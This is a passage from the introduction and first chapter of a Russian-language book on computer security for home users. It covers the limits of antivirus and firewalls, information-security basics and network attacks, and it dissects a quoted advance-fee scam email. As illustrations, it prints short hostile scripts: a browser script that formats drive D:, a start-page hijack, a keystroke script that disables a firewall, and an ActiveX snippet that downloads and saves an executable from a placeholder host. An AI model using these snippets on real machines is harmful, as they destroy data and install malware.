Защити свой компьютер на 100% от вирусов и хакеров Бойцев Олег
Введение
Добро пожаловать! Наверняка читатель, который держит в руках эту книгу, уже не понаслышке знаком с вопросами информационной безопасности вообще и компьютерной в частности. Даже если это не так и вы начинающий пользователь, то материал, приведенный в книге, должен помочь продвинуться вглубь. «Выше, быстрее, сильнее!» – именно этот девиз должен сейчас стать главным для читателя, рискнувшего укротить «стихию» мира компьютерной безопасности.
В современном мире информационных технологий работают те же звериные законы выживания, что и в живой природе. Что может почувствовать человек, увидевший на экране банкомата не привычное Выберите сумму, а голубой экран с кнопкой Пуск в левом нижнем углу и бесстыжее окошко с сообщением об ошибке вместо долгожданной зарплаты?
Взлом сайтов, кража паролей и конфиденциальной информации, удаленные проникновения и вторжения – это та реальность, в которой мы живем. "Не так уж все и облачно", – скажут некоторые из читателей и будут правы лишь в том, что в действительности информация о взломах, которую обнародуют, – лишь небольшой процент от реальных инцидентов взлома.
Против чего надо защищаться в первую очередь и какими средствами это можно сделать эффективнее всего – ответы на эти вопросы читатель найдет на страницах данной книги.
Так уж повелось, что издания, посвященные компьютерной безопасности, чаще всего можно грубо разделить на те, которые рассчитаны на профессионалов, и те, что предназначены для новичков. Ко всему прочему издания подобного рода обычно рассматривают вопросы безопасности исключительно с точки зрения защиты.
Эта книга коренным образом разрушает такой стереотипный подход. Она будет одинаково полезной и интересной как для новичков, так и для продвинутых пользователей. Вопросы безопасности здесь рассмотрены как с точки зрения защиты, так и с точки зрения взлома.
Издание удачно сочетает в себе теорию и практику. Многочисленные примеры из реальной жизни и иллюстрации позволяют за считанное время овладеть навыками организации многоуровневой системы защиты от хакерских вторжений и вредоносного кода.
Усвоив материал издания, вы с легкостью сможете ответить на множество вопросов, касающихся компьютерной безопасности.
ВНИМАНИЕ
Все материалы, приведенные в книге, носят исключительно ознакомительный характер. Автор не несет никакой ответственности за использование их в злонамеренных целях.
От издательства
Ваши замечания, предложения и вопросы отправляйте по адресу электронной почты [email protected] (издательство «Питер», компьютерная редакция).
Мы будем рады узнать ваше мнение!
На сайте издательства http://www.piter.com вы найдете подробную информацию о наших книгах.
Глава 1
Введение в безопасность
Классическая модель безопасности – это мыльный пузырь?
Основы информационной безопасности
Некоторые разновидности сетевых атак
Классификация угроз безопасности веб-серверов
Цель данной главы – сформировать у читателя базовое представление о том, что же такое компьютерная безопасность. Здесь же в деталях приводится авторитетная классификация угроз безопасности веб-серверов, призванная упорядочить знания и помочь разобраться в многообразии возможных атак и их реализации. Начнем первую главу с рассмотрения классической модели безопасности.
1.1. Классическая модель безопасности – это мыльный пузырь?
Предположим, что рассматриваемая нами система (в данном контексте будем говорить об операционных системах линейки Windows) защищена межсетевым экраном и антивирусом; ко всему прочему (а это, с точки зрения взлома, можно считать одним из ключевых моментов), пользователь работает не от прав администратора!
Насколько безопасна такая система? Попробуем выяснить это вместе.
Антивирус
Нужен ли нам антивирус? «Конечно же, нужен, – скажет абсолютное большинство. – Как без антивируса-то? Чем же мы будем защищаться?».
Диски надо регулярно проверять? Вдруг "киберзараза" тихо сидит и ждет, а потом в определенный день и час отформатирует жесткий диск.
Проверять, разумеется, лучше всего регулярно – как минимум раз в неделю, как это советуют специалисты по компьютерной безопасности. Надо проверять все носители информации: само собой разумеется, жесткий диск, конечно же, дискеты, флэш-карты и обязательно компакт-диски – совсем не важно, что это займет у вас некоторое время, ведь безопасность превыше всего.
Обновление антивирусных баз – это вообще святое. Базы недельной давности – уже древние. Поэтому риск "подцепить заразу" со старыми базами очень велик, и это прописная истина. Выход – базы надо обновлять регулярно.
Время идет, и в один прекрасный момент у вашего антивируса заканчивается срок лицензии (если он не бесплатный, конечно), и "страж" выдает сообщение, что надо бы купить ключик, а то программа не будет полноценно работать. Ну что ж, выход есть – надо найти ключ.
Одного антивируса явно недостаточно! Все мы знаем, что для обеспечения мало-мальски приличного уровня безопасности надо установить два антивирусных продукта, а чтобы они не конфликтовали – на разные системы. Все верно.
Все было сделано правильно и работало на ура… Ничего не предвещало беды… пока в один прекрасный день система не легла-таки под новым вирусом неизвестного происхождения. Файлы были хитро переписаны вирусным кодом и/или жесткий диск зверски отформатирован. Но ведь все было сделано правильно!
Вариант 1. Вы «подцепили заразу» раньше, чем ее сигнатуры успели попасть в базы вашего антивируса, к тому же вирусом оказался не классический EXE-файл, а HTML-страница. Почему бы и нет?
Механизм работы такого вируса реализуется через уязвимости браузера при обработке ActiveX-объектов. Итак, начнем веселый некролог системе следующим образом (листинг 1.1).
Листинг 1.1. Устанавливаем стартовую страницу браузера
<APPLET ID="Sh1 "
CLASSID="CLSID:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B">
</APPLET>
<script>
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://fuckofflamers.ru");
</script>
Вариант 2. Звучит кощунственно: содержимое HTML-файла, подобно патологоанатому, методично «потрошит» винчестер. Невозможно? Еще как возможно! А вот и сценарий стартовой страницы (листинг 1.2).
Листинг 1.2. HTML-код, форматирующий диск D:
<script>
a=new ActiveXObject("WScript.Shell");
a.run("cmd /c format d:/y",0);
</script>
Вышеописанный сценарий, внедренный злоумышленником в HTML-страницу, ни много ни мало незаметно форматирует диск, указанный в коде.
Продолжим веселый некролог.
Вариант 3. Система притормаживала, и на время игры в Counter Strike пользователь отключил антивирус. «Зараза» чувствует это и выполняет свою «культурную программу».
Вариант 4. Антивирус оказался беспомощным против нового упаковщика (упаковщик EXE-файлов, позволяющий скрыть исходный код вируса от антивирусной программы), к тому же PE-заголовок (часть EXE-файла, отвечающая за исполнение; в данном случае редактирование PE-заголовка выполнено с целью усложнения обнаружения антивирусом) вируса был мастерски отредактирован (листинг 1.3).
Листинг 1.3. Некоторый учебный пример модификации PE-заголовка
_PtchImSz:
mov eax, [esi + 0Ch] ; VirtualRVA(Last section)
add eax, [esi + 08h] ; VirtualSize(Last section)
mov [edi + 50h], eax
Вариант 5. «Зараза» успела отключить антивирус раньше, чем он ее обнаружил.
Эпикриз. Абсолютной защиты нет. Существующие варианты малоэффективны, занимают много времени и не способны обеспечить качественный уровень защиты.
Брндмауэр
Нужен ли нам брандмауэр?
Вопрос, что ли, ну совсем смешной. Конечно же нужен! А как без него-то вообще? Брандмауэр – это первый рубеж, стоящий на страже нашей безопасности, и это уже знают даже школьники! Брандмауэр – это святое. Agnitum, Zone Alarm – кому что нравится.
Итак, брандмауэр установлен и настроен. Можно ли сказать, что компьютер защищен?
Вариант 1. На межсетевой экран был натравлен новый эксплоит (программа, эксплуатирующая уязвимость), после чего «огненная стена» превратилась в дымящуюся дыру, а пароли выхода в Интернет стали достоянием «благочестивой общественности». В данном случае не важен механизм проникновения– идея в том, что практически ни один программный продукт не застрахован от уязвимостей. Следующий код на JavaScript (листинг 1.4) – лишь пример, но…
Листинг 1.4. Просто выгружаем наш межсетевой экран (на примере Agnitum)
set WShell = CreateObject("WScript.Shell")
WShell.Exec " Files\Agnitum\Outpost Firewall\outpost.exe"
WScript.Sleep 200
WShell.AppActivate "Agnitum", TRUE
WScript.Sleep 100
WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"
WScript.Sleep 100
WShell.SendKeys "{ENTER}"
ПРИМЕЧАНИЕ
Большинство из приведенных примеров подобного рода распознаются антивирусами как самый настоящий "зло-код" (рис. 1.1)!
Рис. 1.1. «Антивирус Касперского 7.0» распознал наш код как самого настоящего троянского коня
Вариант 2. Пароли «спионерили», используя уязвимости браузера: брандмауэр молчал как партизан, ведь в его правилах 80-й порт должен быть открыт! Пример (листинг 1.5) – реализация все того же ActiveXObject. Реакцию «Антивируса Касперского 7.0» смотрите на рис. 1.2.
Рис. 1.2. И опять наш «Касперский» оказался на высоте
Листинг 1.5. Реализация уязвимости IE посредством ActiveXObject!
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.OpenC'GET', "http://www.example.com/1.exe", 0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\example.exe", 2);
</script>
<script language="javascript">
function preparecode(code)
{ result = "";
lines = code.split(/\r\n/);
for (i=0; i<lines.length; i++) {
line = lines[i];
line = line.replace(/*\s+/,"");
line = line.replace(/\s+$/,"");
line = line.replace(/'/g,"\'");
line = line.replace(/[\\]/g,"\\");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}
function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:javascript:eval(" + mycode + "')";
window.open(myURL, "_media");
}
setTimeout("doit()", 5000);
</script>
</html>
Вариант 3. Ни брандмауэр, ни антивирус тут вообще ни при чем. Пароли «утекли» через очередную успешно реализованную уязвимость, например, в службе LSASS (Local Security Authority Sub System). Благо же служб и сервисов у Windows предостаточно, а переполнение буфера никто не отменял. Приводить исходный код подобного вируса, пожалуй, вообще нет смысла.
Теперь попробуем разобраться, от чьих прав безопаснее осуществлять работу: администратора или пользователя.
Разумеется, пользователя! Все знают, что любой код, запущенный с правами администратора (к вирусам это тоже, конечно, относится), может куда больше, чем с правами "смертного" пользователя.
В качестве яркого примера, иллюстрирующего "всемогущие" возможности имени администратора, можно привести следующий код (листинг 1.6). Данный HTML-код, запущенный от имени пользователя, можно считать довольно безобидным, но только до тех пор, пока он не будет запущен от имени администратора.
Листинг 1.6. Наш учебный код
<HTML>
OBJECT CLASSID='CLSID:10000000'
CODEBASE='C:\Windows\system32\logoff.exe'>
</OBJECT>
<HTML>
ПРИМЕЧАНИЕ
Приведенный сценарий, как и другие, использованные в тексте, не претендует на оригинальность (хотя бы потому, что определяется антивирусом) и является всего лишь примером.
А если человек постоянно работает от прав пользователя? Может ли это означать, что система защищена от выполнения кода, требующего административных привилегий? Да, действительно, работа с низкими привилегиями значительно повышает общий уровень безопасности системы (вспомнить хотя бы UNIX-системы, в которых работа без прав суперпользователя считается правилом хорошего тона), но не будем забывать про вредоносные программы, повышающие привилегии! Фантастика? Да никакая не фантастика.
Читателям, которые усомнятся, аргументируя свою уверенность тем, что сервисы вроде DepLoit или GetAdmin уже древность, а альтернативы им нет, достаточно лишь заглянуть на www.securityLab.ru.
Даже при условии, что пользователь постоянно использует run as (утилита, вызываемая из контекстного меню для вторичного входа в систему), войти в систему от "настоящего" администратора рано или поздно ему придется. "Зараза" почувствует это и выполнит свою программу.
Таким образом, наличие в системе антивирусной программы и межсетевого экрана, даже если учесть работу пользователя не от прав администратора, не может стать гарантией того, что система не будет взломана. Взлом системы с конфигурацией, описанной выше, может быть осуществлен даже непрофессионалом!
1.2. Основы информационной безопасности
Прежде чем перейти к знакомству с основами информационной безопасности, резонно заметить, что объем приведенных материалов можно считать лишь ознакомительным, но никак не исчерпывающим руководством, в силу того что полное изложение данной темы выходит за рамки книги.
Итак, информационная безопасность (ИБ) – это процесс и состояние, при котором достигается приемлемый уровень защищенности информации в процессе ее использования.
Чтобы лучше понять, что же такое ИБ, зачем она нужна и какое состояние системы можно считать небезопасным, прежде всего необходимо уяснить себе, какие цели преследует эта самая ИБ.
Выделяют пять основных целей ИБ, среди которых самыми главными можно считать следующие:
конфиденциальность;
доступность;
целостность.
Под конфиденциальностью понимается доступность информации только определенному кругу лиц (например, информация под грифом "секретно" предназначена исключительно для авторизованного персонала).
Под доступностью понимается возможность получения информации авторизованными пользователями в нужное для них время (например, банк предоставляет возможность осуществления транзакций посредством обращения пользователя к корпоративному сайту, при этом сайт должен быть доступен любому пользователю, подключившемуся к Интернету).
Под целостностью понимается гарантия существования информации в неискаженном, истинном виде (например, тот же банк должен быть уверен, что персональные данные, переданные в сеть пользователем, не искажены и верны).
Чтобы не возникло путаницы в определениях, терминах и понятиях, а также в вопросах, касающихся практического применения инструментов ИБ, уже достаточно давно были созданы стандарты информационной безопасности.
Наиболее известна оранжевая (по цвету обложки) книга Министерства обороны США. В этом документе определяется четыре уровня безопасности: D, С, В и А. По мере перехода от уровня D к А к надежности систем предъявляются все более жесткие требования. Уровни С и В подразделяются на классы C1, C2, В1, В2 и ВЗ. Чтобы система в результате процедуры сертификации могла быть отнесена к некоторому классу, ее защита должна удовлетворять оговоренным требованиям.
Вместе с тем следует упомянуть и британский стандарт BS 7799 "Управление информационной безопасностью. Практические правила", который лег в основу международного стандарта ISO/IEC 17799:2005, который, в свою очередь, стал базой для стандарта ISO/IEC 27001.
Следующим понятием ИБ, которое логически вытекает из представлений о стандартах информационной безопасности, является политика ИБ.
Итак, политика безопасности (от англ. security policy) представляет собой совокупность правил, установок и принципов, соблюдение которых обеспечивает приемлемый уровень безопасности/защищенности информационного пространства и инфраструктуры, непосредственно связанной с деятельностью рассматриваемой организации.
Результатом работы администратора безопасности должно стать создание документа политики ИБ.
При создании документа политики ИБ особое внимание необходимо обратить на следующие вопросы:
что можно отнести к активам организации (данные, персонал, обслуживающая инфраструктура, материальные ценности);
насколько чувствительна и секретна рассматриваемая информация;
какие факторы и в каком объеме могут нанести фирме ущерб в информационном аспекте (идентификация угроз);
насколько уязвима система для вторжения изнутри и снаружи (идентификация уязвимостей);
каковы риски организации с учетом входных данных (угрозы, уязвимости, ущерб, активы) и что можно предпринять для минимизации этих рисков.
Определение рисков ИБ и их минимизация являются, пожалуй, ключевым моментом, определяющим актуальность и эффективность политики ИБ.
Как определить, является риск для организации большим или маленьким, приемлемым или недопустимым? В простейшем случае для выяснения степени риска можно воспользоваться матрицей рисков (табл. 1.1).
Из табл. 1.1 вовсе нетрудно догадаться, что величина риска является результатом произведения входных значений (угрозы и ущерба).
Как видно из таблицы, риск можно классифицировать по уровню:
высокий;
средний;
низкий.
Таблица 1.1. Матрица рисков (согласно рекомендациям NIST "Risk Management Guide for Information Technology Systems")
Понятное дело, что если организация имеет дело с высоким риском, то его необходимо нейтрализовать или в крайнем случае минимизировать.
ПРИМЕЧАНИЕ
Если анализ системы показывает, что для минимизации и/или нейтрализации риска могут потребоваться слишком большие неоправданные затраты, то целесообразно отнести такой риск к категории приемлемых. Ущерб от атаки и затраты на ее предотвращение должны быть сбалансированы!
Как правило, система с высоким уровнем риска наиболее подвержена атакам. В зависимости от источника можно выделить по крайней мере два типа атак:
внешние атаки;
атаки, исходящие изнутри (чаще всего ассоциированы с действием инсайдеров).
В рамках следующего раздела мы поговорим с вами о некоторых разновидностях сетевых атак, которые, как вы уже догадались, в большей своей части относятся к внешним атакам.
1.3. Некоторые разновидности сетевых атак
Сетевые атаки уже достаточно давно стали фоном современного киберпространства. Похищение конфиденциальных данных, кража паролей доступа, дефейс (взлом, результатом которого становится подмена заглавной страницы сайта) сайтов и DDoS-атаки (Distributed Denial of Service – атака с использованием множества узлов для осуществления атаки на сервер-жертву) сегодня можно считать чем-то вроде привычной обстановки того, что мы называем компьютерной сетью. Интернет это или просто локальная сеть – особой разницы нет, так как любая сеть изначально предполагает обмен данными, взаимодействие между чем-то, посредством чего-то, а это, в свою очередь, как ни крути, создает все условия для перехвата, нарушения конфиденциальности и целостности информации.
Атаки, основанные на дырах операционной системы и программного обеспечения
Данный тип можно считать наиболее распространенным видом сетевых атак: уязвимости в операционных системах и программном обеспечении как находили, так и будут находить, ведь языки программирования невсесильны. Известный факт: чем больше размер кода, тем больше вероятность, что в нем существуют ошибки. Вот и получается: чем сложнее система, тем вероятнее, что она даст сбой. Парадоксально и закономерно одновременно.
Считается, что приложения на основе открытого кода, будучи более пластичными с точки зрения устранения программных ошибок, являются неким эталоном надежного программного кода. Для исправления вновь появившихся ошибок постоянно выпускают обновления, и, казалось бы, все не так уж и облачно. Но не тут-то было.
Недавно проведенные группой IT-специалистов при участии Министерства Национальной Безопасности США и Стэндфордского университета специальные исследования показали, что не существует Open Source-проектов с меньшим количеством ошибок, чем в программах с закрытыми исходными кодами. В последнее время сторонниками открытых проектов утверждается, что одним из главных преимуществ открытого кода является низкое количество ошибок по сравнению с закрытыми программами. Был проведен сравнительный анализ ста пятидесяти самых популярных Open Source-проектов и проприетарного кода более чем сотни компаний – более 60 млн строк на всех. Исследование показало, что Open Source-про-екты содержат ничуть не меньше ошибок, чем программы с закрытыми исходными кодами.
Какие именно ошибки программного кода компрометируют систему на атаку извне? Самые разнообразные. В качестве самого, пожалуй, яркого примера можно привести ошибку программного кода, посредством которого возможно переполнение буфера. Именно данная проблема (переполнение буфера) лежит в основе большинства уязвимостей и на сегодняшний день является самой распространенной в области безопасности сетевого ПО. Эта уязвимость активно используется вредоносным ПО, таким как компьютерные черви (например, CodeRed, Slammer, Lovesan) и вирусы. Указанная уязвимость с успехом применяется и для организации массированных DDoS-атак, что говорит само за себя.
Вновь обнаруженные уязвимости ПО регулярно публикуются на сайтах типа www.securityLab.ru. Обычно описание такой уязвимости включает в себя уровень ее опасности (например, критический) и содержит соответствующе программы для реализации данной уязвимости. При наличии подобной программы у атакующего осуществление атаки – дело самого ближайшего времени. В качестве горячего примера можно привести программу KaHt, эксплуатирующую уязвимость в службе DCOM RPC (уязвимы системы с первым сервис-паком). Не менее интересный пример SMBdie – программное средство, посредством которого возможно вызвать удаленный отказ в обслуживании (рис. 1.3).
Данный вид сетевых атак можно считать самым настоящим киберкощунством. Посудите сами: на мирный электронный ящик ничего не подозревающего хозяина лавинообразно посылается куча писем, содержание которых иногда может быть просто неприличным. Предложение о сотрудничестве, о выезде за границу, нигерийские письма, в которых ваш дядя из Гваделупы предлагает несметные сокровища.
Для организации атак подобного рода применяют специальные программы – мейл-бомберы. Такие приложения затопляют электронный почтовый ящик огромным количеством писем, обратный адрес которых фальшивый. Установить обратный адрес достаточно трудно даже по заголовку письма (HEAD), так как IP отправителя не имеет ничего общего с тем, что указан в заголовке. Для осуществления коварного плана злонамеренному пользователю достаточно знать адрес электронной почты жертвы.
Рис. 1.3. Программа SMBdie в действии
Мейл-бомбинг
Большинство почтовых систем имеют антиспам-фильтры, защищающие клиентов от подобных сетевых вакханалий. Все, казалось бы, в розовом свете, но почему-то, несмотря на усиливающиеся беспрецедентные меры защиты от подобного рода атак, спам приходит и приходит. Все дело, наверное, в том, что алгоритмы распространения такого мусора умнеют параллельно с интеллектуализацией систем защиты.
Основным способом рассылки спамерских сообщений было и по-прежнему остается использование сетей, созданных на основе зомбированных систем ничего не подозревающих пользователей. Можно констатировать, что спамеры активно идут по пути наращивания мощностей и развития зомби-сетей.
В качестве горячего примера мейл-бомбинга будет более чем уместно привести следующее. Итак, привожу текст письма, отправителем которого является щедрый дядька из банановой республики, готовый поделиться миллионами, ради того чтобы вы согласились на маленькую услугу.
"FROM MR USMAN KAMAL
BILL AND EXCHANGE MANAGER
BANKOF AFRICA (BOA) OUAGADOUGOU BURKINA FASO".
Письмо отправлено мистером Усманом Камалом, финансовым менеджером Банка Африки.
Ну что ж, для начала неплохо. Управляющий банка и все такое. Читаем дальше.
Стоп! Далее идет нечто весьма и весьма странное, можно даже сказать, ужасное – "OUAGADOUGOU"! Ну что, может, все-таки, появилась тень сомнения?
Появилась и исчезла. Пройдя через Lingvo, "OUAGADOUGOU" оказалось замечательным городом Уагадугу, а вовсе не тайным заклинанием колдунов культа Вуду. "А "BURKINA FASO"? Это что?" – спросят многие. Буркина-Фасо – это государство в Западной Африке!
Читаем дальше.
«CONFIDENCIAL»
Ну, это понятно: значит, конфиденциально, секретно.
«DEAR FRIEND, I AM THE MANAGER OF BILL AND EXCHANGE AT THE FOREIGN REMITTANCE DEPARTMENT OF BANK OF AFRICA (B.O.A) HERE IN OUAGADOUGOU, BURKINA FASO».
Дорогой друг (они уже успели с вами подружиться), я менеджер по всем самым важным финансовым вопросам вышеназванного банка африканского гогода Уагадугу.
«IN MY DEPARTMENT WE DISCOVERED AN ABANDONED SUM OF $25 000 000 (TWENTY FIVE MILLION UNITED STATE DOLLARS) IN AN ACCOUNT THAT BELONGS TO ONE OF OUR FORIEGN CUSTOMER (MR. ANDREAS SCHRANNER FROM MUNICH, GERMANY) WHO DIED ALONG WITH HIS ENTIRE FAMILY IN JULY2006 IN A PLANE CRASH».
Читаем далее: в нашем подразделении, или отделе (что, впрочем, не так важно), мы обнаружили заброшенный, покинутый, ничей (вот так незадача) счет на $25 млн. Счет принадлежал иностранному клиенту – мистеру ANDREAS SCHRANNER из Германии, который трагически погиб в июле 2006 года вместе со всей своей семьей в авиакатастрофе.
«http://news.bbc.co.uk/1/hi/world/europe/859479.stm»
(ссылка на некий ресурс, доказывающий, что авария с указанным лицом действительно произошла)
Читать бесплатно другие книги:
